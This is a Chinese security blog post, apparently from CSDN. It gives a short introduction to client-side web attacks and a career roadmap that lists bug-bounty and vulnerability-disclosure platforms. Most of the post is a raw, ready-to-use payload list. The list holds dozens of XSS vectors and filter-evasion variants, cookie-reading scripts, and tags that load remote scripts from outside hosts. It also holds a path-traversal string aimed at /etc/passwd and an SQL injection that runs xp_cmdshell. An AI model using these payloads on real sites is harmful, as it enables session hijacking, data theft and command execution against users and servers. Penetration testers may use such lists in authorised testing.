前言:
介绍:
博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。
殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。
导读:
面向读者:对于网络安全方面的学者。
本文知识点(读者自测):
(1)XSS基础知识(√)
(2)XSS常见运用(√)
目录
一、攻击用户
简介:
1、绝大多数针对Web应用程序的攻击主要以服务器端应用程序为攻击目标,许多这类攻击会侵害到其他用户,如盗窃其他用户数据的SQL注入攻击。但攻击者所使用的基本攻击方法是以无法预料的方式与服务器进行交互的, 目的是执行未授权操作并非法访问数据。
2、因为攻击者的主要对象是应用程序的其他用户。服务器端应用程序仍然存在所有相关漏洞,然而,攻击者利用应用程序的一些行为执行针对其他终端用户的恶意操作。这些操作可能会造成一些与其他攻击相同的后果, 如会 话劫持、未授权操作和披露个人信息,记录键击、执行任意命令
3、尽管许多这种类型的漏洞今天依然存在, 但数量逐渐减小并且变得更加难以利用。然而即使是最为注政安全的应用程序也仍然包含许多可轻易发现的客户端缺陷。此外应用程序的服务器端以有限、可控的方式运行,而客户端可使用任意数量的各种浏览器技术(包括各种版本),由此客户端面临大范围可成功实施的攻击向量
4、客户端攻击成为以Web安全的主要关注焦点(间谍软件、钓鱼攻击和木马等名词)。针对Web应用程序用户的攻击也日益成为有利可图的犯罪行为。如果可以攻破用户,就不必再去入侵系统
XSS基础知识点:
二、XSS运用
1、示例:
1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt> <svg/onload=alert(1)> <script>alert(document.cookie)</script> '><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> %0a%0a<script>alert(\"Vulnerable\")</script>.jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html <script>alert('Vulnerable');</script> <script>alert('Vulnerable')</script> a.jsp/<script>alert('Vulnerable')</script> a?<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= <IMG src="javascript:alert('XSS');"> <IMG src=javascript:alert('XSS')> <IMG src=JaVaScRiPt:alert('XSS')> <IMG src=JaVaScRiPt:alert("XSS")> <IMG src=javascript:alert('XSS')> <IMG src=javascript:alert('XSS')> <IMG src=javascript:alert('XSS')> <IMG src="jav ascript:alert('XSS');"> <IMG src="jav ascript:alert('XSS');"> <IMG src="jav ascript:alert('XSS');"> "<IMG src=java\0script:alert(\"XSS\")>";' > out <IMG src=" javascript:alert('XSS');"> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <BGSOUND src="javascript:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER src="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" href="javascript:alert('XSS');"> <IMG src='vbscript:msgbox("XSS")'> <IMG src="mocha:[code]"> <IMG src="livescript:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <IFRAME src=javascript:alert('XSS')></IFRAME> <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <BASE href="javascript:alert('XSS');//"> getURL("javascript:alert('XSS')") a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); <XML src="javascript:alert('XSS');"> "> <BODY><SCRIPT>function a(){alert('XSS');}</SCRIPT><" <SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> <IMG src="javascript:alert('XSS')" <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--> <IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT> <A href=http://www.gohttp://www.google.com/ogle.com/>link</A> <IMG SRC=javascript:alert(‘XSS’)> <IMG SRC=# onmouseover=”alert(‘xxs’)”> <IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img> <img src=x onerror=”javascript:alert('XSS')″> <IMG SRC=javascript:alert( 'XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC=”jav ascript:alert(‘XSS’);”> <IMG SRC=”jav
ascript:alert(‘XSS’);”> <IMG SRC=”  javascript:alert(‘XSS’);”> <<SCRIPT>alert(“XSS”);//<</SCRIPT> <IMG SRC=”javascript:alert(‘XSS’)” </script><script>alert(‘XSS’);</script> <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> <BODY BACKGROUND=”javascript:alert(‘XSS’)”> <svg/onload=alert('XSS')> <IMG SRC=’vbscript:msgbox(“XSS”)’> <BGSOUND SRC="javascript:alert('XSS');"> <BR SIZE="&{alert('XSS')}"> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <XSS STYLE="behavior: url(xss.htc);"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <TABLE><TD BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="width: expression(alert('XSS'));"> <SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT> <script>alert(/xss/)</script> <svg onload=alert(document.domain)> <img src=document.domain onerror=alert(document.domain)> <M onmouseover=alert(document.domain)>M <marquee onscroll=alert(document.domain)> <a href=javascript:alert(document.domain)>M</a> <body onload=alert(document.domain)> <details open ontoggle=alert(document.domain)> <embed src=javascript:alert(document.domain)> <script>alert(1)</script> <sCrIpT>alert(1)</sCrIpT> <ScRiPt>alert(1)</ScRiPt> <sCrIpT>alert(1)</ScRiPt> <ScRiPt>alert(1)</sCrIpT> <img src=1 onerror=alert(1)> <iMg src=1 oNeRrOr=alert(1)> <ImG src=1 OnErRoR=alert(1)> <img src=1 onerror="alert("M")"> <marquee onscroll=alert(1)> <mArQuEe OnScRoLl=alert(1)> <MaRqUeE oNsCrOlL=alert(1)> <a href=javascript:/0/,alert(%22M%22)>M</a> <a href=javascript:/00/,alert(%22M%22)>M</a> <a href=javascript:/000/,alert(%22M%22)>M</a> <a href=javascript:/M/,alert(%22M%22)>M</a> <base href=javascript:/M/><a href=,alert(1)>M</a> <base href=javascript:/M/><iframe src=,alert(1)></iframe> </textarea><script>var a=1//@ sourceMappingURL=//xss.site</script> "><img src=x onerror=alert(document.cookie)>.gif <div style="background-image:url(javascript:alert(/xss/))"> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> <iframe src=javascript:alert(1)></iframe> <iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe> <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe> <iframe srcdoc=<svg/onload=alert(1)>></iframe> <iframe src=https://baidu.com width=1366 height=768></iframe> <iframe src=javascript:alert(1) width=1366 height=768></iframe <form action=javascript:alert(1)><input type=submit> <form><button formaction=javascript:alert(1)>M <form><input formaction=javascript:alert(1) type=submit value=M> <form><input formaction=javascript:alert(1) type=image value=M> <form><input formaction=javascript:alert(1) type=image src=1> <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
网络安全三年之约
First year
掌握各种原理、不断打新的靶场
目标:edusrc、cnvd
主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/
second year
不断学习、提升技术运用技巧,研究各种新平台
开始建立自己的渗透体系
目标:众测平台、企业src应急响应中心
众测平台 URL 漏洞盒子 漏洞盒子 | 互联网安全测试众测平台 火线安全平台 火线安全平台 漏洞银行 BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台 360漏洞众包响应平台 360漏洞云漏洞众包响应平台 补天平台(奇安信) 补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC 春秋云测 首页 雷神众测(可信众测,安恒) 雷神众测 - BountyTeam 云众可信(启明星辰) 云众可信 - 互联网安全服务引领者 ALLSEC ALLSEC 360众测 360众测平台 看雪众测(物联网) https://ce.kanxue.com/ CNVD众测平台 网络安全众测平台 工控互联网安全测试平台 CNCERT工业互联网安全测试平台 慢雾(区块链) Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone 平安汇聚 http://isrc.pingan.com/homePage/index
互联网大厂 URL 阿里 https://asrc.alibaba.com/#/ 腾讯 https://security.tencent.com/ 百度 https://bsrc.baidu.com/v2/#/home 美团 https://security.meituan.com/#/home 360 https://security.360.cn/ 网易 https://aq.163.com/ 字节跳动 https://security.bytedance.com/ 京东 https://security.jd.com/#/ 新浪 http://sec.sina.com.cn/ 微博 https://wsrc.weibo.com/ 搜狗 http://sec.sogou.com/ 金山办公 https://security.wps.cn/ 有赞 https://src.youzan.com/
Third Year
学习最新的知识,建全自己的渗透体系
目标:参与护网(每一个男孩子心中的梦想)
时间:一般5月面试,6/7月开始(持续2-3周)
分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)